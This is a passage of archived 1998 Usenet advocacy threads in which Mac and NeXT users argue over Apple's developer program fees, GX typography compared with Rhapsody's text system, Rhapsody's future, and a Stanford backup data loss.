Note that he says 'seems to be' - it seems, to him, that everyone else is
better off. Not FUD - opinion, and clearly marked as such.
> Who is better
>off? Their is NOTHING that is now cheaper now than before the
>announcement.
>Either things are the same price as before with no added
>benefits, or they have increased and in some cases have increased with less
>benefits.
This is, of course, your interpretation of things.
// Christian Brunschen
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 17:10:02 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R0904981710030001@nnrp.usc.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com> <joe.ragosta-0904981940420001@elk64.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <joe.ragosta-0904981940420001@elk64.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> OR, Universities can stop mandating that people adopt a platform and MIS
> system that makes such wholesale problems possible.
What prevents this exact same error from occuring on a Mac or Unix tape?
(Go ahead, blindly use tar without thinking and you'll get bitten by the
100 character pathname bug.) You wrote earlier that you use Retrospect. Do
you verify every tape that's written by reinstalling on a blank HD? This
probably isn't necessary. Would you do so before switching the users to a
new server? If not, I question your competence.
The sysadmins didn't verify that their backup was good, then overwrote the
good data with the bad. I made an error once that would have been found by
checking the data - I was using the bundled NT backup and didn't check the
"backup local registry" box. When my HD failed, my data was ok, but I had
to reinstall all my apps.
NT's fault? Well, having the "backup local registry" switch be off by
default is stupid, no question. But I was an idiot, plain and clear.
Luckily, all I lost was time. I could have been bitten much worse.
> If the university leaves users alone and they lose data, it's their own
> fault. But when the university mandates that they use certain tools, it's
> the university's fault when the tools cause them to lose data.
The IS department told the users to back up their files, and provided free
ZIP disks to do it. Stanford clearly provided tools that would have averted
the problem.
The sysadmins were idiots. The users were idiots. There's plenty of blame
to go around here. When I was in grad school, I had at least three copies
of my thesis, on different media and in different, far seperated locations.
I don't trust anyone, including myself.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 8 Apr 1998 02:21:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15090B4-2681F@206.165.43.122>
References: <6ge378$11s04@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
> GX retained graphics may be better suited to some problems.
A question about how the Yellow Box retains its info for text-processing:
does it retain [and expose] enough info to do the kinds of things that Dan
Lipton did with his develop article (can you even read this article anymore
if you don't have an online developer subscription, I wonder?) for
text-on-a-curve? Dan's algorithm took advantage of some cached info found
in the GX layout shape that is directly accessable via the API. If the
Yellow BOx doesn't cache this info for NSText, then you must use DPS calls
to accomplish the same thing. Dan doesn't believe that this will be
anywhere near as efficient as using the cached GX info.
In other words, "retained mode" can refer to a lot more than just the
information needed simply to render an object.
Specifically, for his text-on-a-path algorithm, Dan made use of the precise
per-glyph bounding box info that is readily available via the GX glyph
shape API. Unless NSText calculates that info for itself and *retains* it
for each glyph, or if DPS does it for you using something other than the PS
strategy, you'll need to make use of PS calls that Dan believes are
inherently less efficient than GX's because the GX glyph shape was designed
from the ground up to do things like text-on-a-path, whereas the PS way of
obtaining this per-glyph bounding box info would be to convert the glyphs
to paths and call charpath followed by pathbbox.
Can you obtain the per-glyph bounding box info of text-glyphs drawn using
NSText without going into DPS to do it? If not, how does one do it using
DPS? Is it any different than what Dan has suggested would be the case? If
not, what is the performance hit for doing this charpath, pathbbox sequence
for [potentially] every glyph, every time you make a change in the text?
The Yellow Box may be incredibly powerful for many things, but if specific
information isn't retained and exposed via the right API calls, it won't be
appropriate for doing many things that are already doable trivially (just
use Dan's _develop_ code -it's free) using MacOS and GX.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 17:28:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B152B6CF-12EEF5@206.165.43.139>
References: <6gjel2$qe4$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Anguish <sanguish@digifix.com> said:
> I've done applications in DPS that do real-time bending of
> text... if you can bend it in real time (where all the letters change
> and need to recalculate at the same time) editing should be less
> intensive.
>
Except that if you start editing the string from the beginning, you're
doing that anyway, AND PS doesn't directly handle contextual fonts,
tri-glyphs or any of the other things that GX does. Consider the case of
typing some English text, as quoted in a Hebrew sentence -a rather simple
example of something that your text-bending test might not benchmark.
There's a lot of overhead of handling the degree of formatting that GX
layout shapes handle. The conversion to the GX glyph shape retains the
geometric info, including the bounding boxes of each glyph. Merely being
able to bend a static bit of text is NOT the same thing as being able to
edit, in real-time, a fully formatted, kerned, cross-kerned (whatever that
means), multi-directional, multi-language/font/whatever line of
text-on-a-path.
What about selecting the mid-part of a Hangul tri-glyph and replacing it
with something else? How about changing the font of a selection from a
mono-space font to a contextual font with beginning/middle/end-specific
glyphs? Or changing the capitalization of a Hoelfer italic sentence with
ornamental swashes enabled? Superscripts? Subscripts? Hanging/dANGLING
cAPS? Skewed text (each glyph skewed)? Perspectivized drop shadows?
The people writing the NSText class DO have access to all the GX layout
stuff, but have they implemented it all and made it available in such a way
that you can implement a genuine GX glyph shape-like class? Or even the GX
layout shape itself?
Can you squeeze a line of NSText so that no matter how much you type, it
will always fit in a given space, merely by setting a flag? You guys insist
that "all" of GX typography will make it into Rhaposdy and then proceed to
show that you've never bothered to read the GX typography manual (500 pages
long). How can you be so sure that "all" means "all" when you don't have
any idea what "all" actually entails?
And Dan might object to your claim:
> Not much calculation is required, other than just applying the
> current transformation matrix and the positioning to the existing
> bounding box.
For instance, how do you handle an insertion point in a Hangul tri-glyph?
You need absolutely accurate information about where on the text you
clicked your mouse in relationship to the original glyph.
You also need very accurate info so that you can position the glyph
accurately. Dan had to implement his own version of GX's
"GXShapeLengthToPoint" call because Apple's wasn't accurate enough. His
implementation takes advantage of the quadratic spline nature of GX shapes.
He doesn't believe that there is a trivial way to implement an equally
accurate equivalent for cubic shapes, and that whatever you end up using
will be rather more complicated than his solution for GX paths.
I'll post Dan's direct responses to all of this later.
One last little point: Dan's freebie code implements a curved selection
algorithm that follows the text smoothly around the path, unlike those
so-called high-end apps like Illustrator and FreeHand. Can you implement a
smooth selection for text using the current tools in Rhapsody, as it
curves?
How? Dan's method is documented in his article in _develop_. It uses a
built-in GX function. Is this available in DPS/Yellow Box?
Why not? The YB is supposed to duplicate all of the functionality of GX
typography, including an elegant-enough selection algorithm that you can
implement acceptable high-end word-processing (not DTP) using
text-on-a-path. Is that available in Rhapsody yet? Why not?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rcl@ultranet.com (Rich Long)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 22:12:36 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <rcl-1004982212360001@d2.dial-3.nsh.nh.ultra.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352D35D6.E368D52C@am.not.here> <joe.ragosta-0904981937380001@elk64.dol.net>
In article <joe.ragosta-0904981937380001@elk64.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> And if you want to develop shareware, download the FREE SDKs. In case
> someone missed it, that's FREE.
As are the MPW development tools.
Rich
--
From the Apple PowerBook of... Richard Long -- rcl@ultranet.com
My Links and Software Page: http://www.ultranet.com/~rcl/
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple's Announcement Misleading. WAS :Apple developer program
Date: 10 Apr 1998 00:34:48 GMT
Message-ID: <01bc464a$a1d13d60$2af0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <gmgraves-0904980952020001@sf-pm5-27-91.dialup.slip.net> <joe.ragosta-0904981956410001@elk90.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-0904981956410001@elk90.dol.net>...
> In article <gmgraves-0904980952020001@sf-pm5-27-91.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
> > While notoutlining what the actual changes are, he said that at the low
> > end of the tier, Apple was trying to divorce the dev materials from the
> > support, in order to make those materials cheaper. He said that it is
now
> > possible for small developers to get the seeding materials and the
monthly
> > mailings at much less cost than the $250 minimum under the old program.
> > Unfortunately, the Apple E-mail sent to all of its developers does not
put it
> > this way. According to my source within Apple Developer support. the
E-mail
> > was "poorly written......." We shall see.
A couple of things...
1) the sdk's have been downloadable for a while now.
2) *IF* developers can get the SEEDING MATERIAL and the monthly mailings at
much less cost than $250, they would not be complaining so vocally. How
does one get the seedings (which rhapsody is a part of) for under $250?
I think it is a factual error that you can get the seeding material for
$250 or less than $250
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 19:53:42 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0904981953430001@192.168.1.4>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk>
In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <trumbull-0904980039090001@net44-223.student.yale.edu> Ben Trumbull wrote:
> > In article <6gh8v1$oop$6@ironhorse.plsys.co.uk>, mmalcolm crawford
> > <malcolm@plsys.co.uk> wrote:
> >
> > > Apple's customers who no longer have to subsidise hobbyist developers.
> >
> > Apple never "subsidized" hobbyists. You don't think Apple made money off
> > of every single on of them ?
> >
> No, I don't. I'm quite sure there are a number of hobbyists developing
> worthwhile s/w which I might find useful at some point, however on balance
> reports suggest that the previous system was badly abused and on average
> Apple will have lost revenue through people signing up as developers simply
> to get hardware at reduced prices.
In order for this to be true you have to prove that Apple loses money on
hardware sold to people in the Dev Program. And the fact of the matter is
that they don't lose money. They make as much money off of that as they
would if the sold the machine to a retailer (or proably even a
discounter.)
> I also hope that the additional fees will go toward giving a better service
> to those who choose to stay in one of the developer programs.
Lets look at the past shall we?? Every time Apple has done this (which has
been three or four times since *I* have been in the program,) prices have
gone up and support stayed the same or in the last case got a lot worse.
Someone jumped on the Dev Support people's collective head, telling them
they were losing too much money and to fix it. They scratched their heads
in this was the best they could think of.
What ticks me off is NOT the increase in prices, but the fact that my
level of support, which I paid for on good faith, has been significantly
reduced less than six months into the cycle. Given the letter states that
they had not accepted any new members in the past six months, means that a
bait and switch was pulled, I signed up four months ago and was not told
this would happen.
Jer,
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 00:52:38 GMT
Organization: @Home Network
Message-ID: <6gjqgm$fd5$1@ha2.rdc1.sdca.home.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu>
<joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com>
<joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com>
<joe.ragosta-0804982250580001@wil62.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: joe.ragosta@dol.net
In <joe.ragosta-0804982250580001@wil62.dol.net> Joe Ragosta wrote:
> In article <MPG.f960500e190219d989895@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
[snip confession of a true developer ]
> > Well, Microsoft never claimed to care about us, but they haven't broken
> > any promises or revised our contracts while they're still in effect
> > lately. There will be some number of developers giving up on Apple and
> > switching to Windows because of this action. I don't know how many, but
> > in Apple's weak position, any is too many.
>
> I apologized to Donald in e-mail for the strength of my comments.
>
> But I don't see anything here that changes the essence.
>
> As I see it (and these comments reinforce it), Donald is very much acting
> in the Lawson mold--Apple is guilty until proven innocent. He's measuring
> everything by _HIS_ standards and finds Apple at fault every time they
> don't meet his expectations.
>
>
Who made you "Keeper of the Truth" ? What BULLSHIT...
Sheesh, this reads like a Psych consult. The guy just shared his motivation
behind his actions. It's His Story. If you don't like the reading of
History, you needn't resort to accusing him of "acting" in whatever mold De
Jour. Apple wrote the book, he's just reading it back to you from his living
it.
If you've apologized to the fellow in some prior encounter, you certainly owe
him another.
-r
Rex Riley
Date: Thu, 09 Apr 1998 06:40:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904980640290001@elk33.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no>
In article <352AAF57.25EB@skdjsk.no>, sdd wrote:
> I want a student developers program...
>
> 150-200 $/year for cd's...
>
> Anonymous..
Apple has publicly stated that there will be an attractive educational
program--it's just not ready yet.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 9 Apr 1998 18:01:26 -0700
Organization: Northwest Nexus Inc.
Message-ID: <6gjr16$rfe$1@halcyon.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com>
Rex Riley <rr6013@yahoo.com> wrote:
>Yeah, sucks doesn't it that if you are a Windows user you have to go
>through all that extra backup procedure. For hapless Stanford BSchool
It's the exact same procedure you use on a Mac or on Unix.
--Tim Smith
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 18:19:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B152C2BC-15BC4F@206.165.43.139>
References: <6giuej$saq$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Maury Markowitz <maury@remove_this.istar.ca> said:
> > for Display PostScript, but I do know for a fact that PostScript does
not
> > have any way to compute the bounds of glyphs on a glyph by glyph basis
-
> > short of converting the glyphs to paths and calling charpath followed
by
> > pathbbox. Not a speedy process."
>
> Works for me.
In what situation? You said that it would take you several days to
implement Dan's solution. Did you do so?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 18:25:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B152C422-16106C@206.165.43.139>
References: <joe.ragosta-0904981531590001@wil38.dol.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
> Just like the last 20 rants that you went on were going to destroy Apple.
> Wasn't abandoning QD GX supposed to destroy Apple?
Yep. Abandoning superior technology for nothing in the pipeline (no
upgrades to newtonOS, GX, CD, OpenDoc, etc will ever be done, meaning that
any developer or user who bought into those is now orphaned) is always
destructive.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 01:25:19 GMT
Organization: @Home Network
Message-ID: <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu>
<6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: tzs@halcyon.com
In <6gjr16$rfe$1@halcyon.com> Tim Smith wrote:
> Rex Riley <rr6013@yahoo.com> wrote:
> >Yeah, sucks doesn't it that if you are a Windows user you have to go
> >through all that extra backup procedure. For hapless Stanford BSchool
>
> It's the exact same procedure you use on a Mac or on Unix.
>
>
Then why does the article "single-out" that it was Windows-specific. It left
the impression that maybe a "filesystem" peculiarity of Windows might have
tricked their back-up software, unbeknownst to them.
-r
Rex Riley
Date: Thu, 09 Apr 1998 06:42:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904980642200001@elk33.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk>
In article <6gh8v1$oop$6@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <01bc4540$d4a15e60$3af0bfa8@davidsul> "macghod" wrote:
> >
> > > The lowest paid developer status is $500 instead of $250. If you really
> > > need to get the beta OS versions, your cost went up by $250. But everyone
> > > else seems to be better off.
> >
> > More Ragosta FUD. "Everyone else seems to be better off". Who is better
> > off?
> >
> Apple's customers who no longer have to subsidise hobbyist developers.
>
> Best wishes,
>
> mmalc.
Or hobbyist pseudo developers--people who never wrote an app or never
planned to, but paid the $250 for access to hardware and software
discounts.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 09 Apr 1998 06:43:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904980643360001@elk33.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ylaporte-0804982005030001@139.103.176.79> <6gh9cm$oop$7@ironhorse.plsys.co.uk>
In article <6gh9cm$oop$7@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <ylaporte-0804982005030001@139.103.176.79> Yan Laporte wrote:
> > What we need from Apple is an idea of when and what we will have to pay
> > for the system in higher education institutions. And don't get me the
> > "you got to be carefull, it is not meant to be used by normal users for
> > now(...)" speech. We're a Computer Science department, we just crave for
> > that stuff and we have the brain to handle it. So what are the plans for
> > Rhapsody in Higher education institutions?? Anyone? I need more than
> > dumb hearsays from MOSR... There was no such as a Developper rebate or any
> > program available for us three weeks ago, is there now?
> >
> I'm not sure what I'm allowed to say here, but I've certainly seen some
> public announcements by Apple (the problem being the only place I know
> there's a copy is private), and have an idea from speaking with some people
> on the inside that Apple is very much aware of all the points you've made
> here, and will be adressing them.
>
> cf also the following.
>
> Best wishes,
>
> mmalc.
>
>
> Subject: Re: Apple Developer Connection Mailing
> Date: Wed, 8 Apr 1998 09:37:36 -0700
> From: Jordan Dea-Mattson <jordan@apple.com>
> To: "Rhapsody Discussion List" <rhapsody@clio.lyris.net>
>
> [...]
>
> In addition, we are working to roll out programs for the academic world -
> and have said so for some time. They weren't ready and this time and I
> can't comment on them, except to say that we are aware of the need to
> reach the academic world.
Jordan later commented on RDL that Apple is trying to make the educational
program very attractive.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 09 Apr 1998 06:45:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904980645050001@elk33.dol.net>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
In article <352c857a.2678525846@news.u-psud.fr>, pointal@lure.u-psud.fr wrote:
> On 8 Apr 1998 19:24:55 GMT, gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
>
> >: Although I disapprove of the move by Apple, I really question why a
> >: HS/college student would have to join the developer programs to write
> >: software. After all, they could just download MPW or buy CodeWarrior at a
> >: huge discount, and learn from the vast amount of online resources at
> >: devworld.apple.com.
>
> Do you know the bandwitdh of US servers out of the US? Do you know the
> cost of communications out of the US?
>
> For a student working at home, CDs are far better with his <1 to 5
> kb/sec IP connection to US (at ~ $1/hour com cost + fixed provider
> cost).
That is probably true. But wouldn't most students have access to their
college's facilities where they can download what they need by T1 and put
it onto a zip drive or burn a CD to take home?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Tue, 07 Apr 1998 18:03:16 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R0704981803160001@news>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <6ft833$lae@flonk.uk.sun.com> <rmcassid-0104981112000001@dante.eng.uci.edu> <6fva9h$ris$1@ha2.rdc1.sdca.home.com> <slrn6i6ofe.17n.mbkennel@lyapunov.ucsd.edu> <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com>
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In article <6g0pa6$3jq$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
Riley) wrote:
> Apple has a hell of a lot of work to do to sell into the building market
> ahead for desktops. MacOS is the "BetaMax" of computing. Re-Building an
> empire on the foundations of a forlorned MacOS is committing Apple to the
> "niches" of History. Mac doesn't cut-it.
Okay, so one formula for success is throwing out all your historical
software, and starting again from scratch. Got it.
> Neither does Techno-Elitism. Apple's superior hardware/software integration
> is just BetaMax fodder. All the "NC's suck" attitude in the world isn't
> going to help put Rhapsody on the top of the NC "Top 10" List.
And another formula for success is not bragging about hardware or software
superiority, since that would just come off as "techno-elitism." Uh-huh.
> The point is that the World isn't going to jump aboard this Rhapsody ship,
> anytime soon. Elitism, attitude and bragadaccio about Rhapsody's 10 year
> heritage aside, There first needs to be a warm, fuzzy community.
And how is this "warm, fuzzy community" going to form around a product
which rejects its code base and starts from scratch, and decided not to
tout its own technological advantages?
It sounds like your plan needs a lot of work.
Andy Bates.
From: Hubert HOLIN <hh@ArtQuest.fr>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 12:51:29 +0200
Organization: ArtQuest
Message-ID: <352CA831.D4878417@ArtQuest.fr>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <6ggvub$oop$5@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
[SNIP]
> If you're a professional developer, or intent on producing shareware that's
> of genuine utility (i,e, good enough that people will pay for it), $500
> should not be a serious impediment, else your business plans are out of
> kilter.
[SNIP]
By that measure, freeware is junk, right? I guess TeX, GNU and their ilk are
unknown to you...
Hubert Holin
holin@mathp7.jussieu.fr
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Tue, 07 Apr 1998 23:42:46 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0704982342480001@192.168.1.3>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu>
In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
trumbull@cs.yale.edu (Ben Trumbull) wrote:
> I'm not about to stand up and say these changes are a great idea on
> Apple's part, but you do realize, you can buy *just* the tech mailing
> (including develop) for $199 ?
Which is what we used to do, but then realized you could not get seeded
unless you were an associate.
Jer,
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 10:43:16 GMT
Organization: P & L Systems
Message-ID: <6gi8o4$oop$9@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
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Cc: kdb@pegasus.ece.utexas.edu
In <6ghf6g$e1u$1@geraldo.cc.utexas.edu> Kurt D. Bollacker wrote:
> : If anyone is wanting to develop for Rhapsody professionally and doesn't
have
> : $500, they don't have a business plan. If you're intending to write
> : shareware, then $500 is a reasonable investment if you believe you have
> : something useful to contribute. If you're writing Rhapsody apps for a
hobby,
> : why should I subsidise your playtime?
>
> Because I might develop some useful freeware. With your attitude there'd
> never be any freeware at all. Without freeware, perhaps NeXT would have
> been later with NeXTSTEP (no GNU tools jumpstart) and Rhapsody today would
> not exist. Not all software should be free, but some of it always should.
>
How is not being a member of the program going to stop people from producing
freeware if they want? Why does anyone producing freeware need advance
access to beta software?
> : In the bad old days when NeXT's developement tools alone cost seven times
> : that amount there was no shortage of freeware or shareware.
>
> Bzzzt. Wrong, but thank you for playing.
>
In what way wrong? The tools cost $3500. There was no shortage of freeware
or shareware.
> If you bought NeXTSTEP as
> an academic machine or later as an academic bundle CD-ROM, the development
> tools were free or *very* cheap. Remember, NeXT was orignially academic
> only. Lots of cool freeware came out very quickly.
>
As an academic user of NeXTstep from 1989 to 1996, I am very well aware of
this, thank you. As a NeXT Campus Consultant I even gave freely of my own
time to spread the Good Word both in my University and, on several occasions,
at others. I was the only Campus Consultant in the UK who was successful.
But, to return to your "point": how much did a NeXT Cube cost when it came
out? $7000+. And yet there was a lot of freeware, you say. So now that a G3
